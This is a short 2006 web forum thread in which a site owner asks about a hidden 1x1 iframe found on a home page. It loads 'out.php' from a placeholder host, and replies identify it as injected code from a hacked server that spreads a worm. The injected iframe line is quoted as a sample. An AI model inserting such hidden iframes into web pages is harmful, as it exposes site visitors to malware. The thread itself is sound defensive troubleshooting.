Weird line of code in site

[kaulbr]

I am going to be redesigning a site. The current site (which is horribly done) has this little 1x1 px that shows up in the top left corner of the home page of the site. Not real sure what it is. The first line of code in the page source is;
<iframe src='http://www.example.net/out.php?s_id=1' width=1 height=1></iframe>

Anyone have any idea what that would be? Something used to count page hits maybe? I have no idea.

Any help is appreicated.

[edited by: jatar_k at 2:42 am (utc) on May 4, 2006]
[edit reason] no urls thanks [/edit]

[jatar_k]

I would remove it

[tedster]

All kinds of mischief can be done from that iframe's source. In fact I just repaired a hacked site yesterday with that exact code and url (bet I could guess the domain name) -- and if it is the same, it was spreading one of those "utility knife" worms.

COmpletely agree with jatar -- remove the code and tighten security.

[kaulbr]

Well I'm trashing the whole site and re-doing it. I just wanted to know what it could be. Very wierd. Not sure how it would get there.

[pageoneresults]

Very wierd. Not sure how it would get there.

A compromised server? I'd check other sites on that same server.

[Receptional Andy]

The site/server has been hacked - this type of exploit is showing up more and more recently (I saw the exact URL format above just a couple of weeks ago). There's likely an unpatched script (such as Gallery) installed somewhere.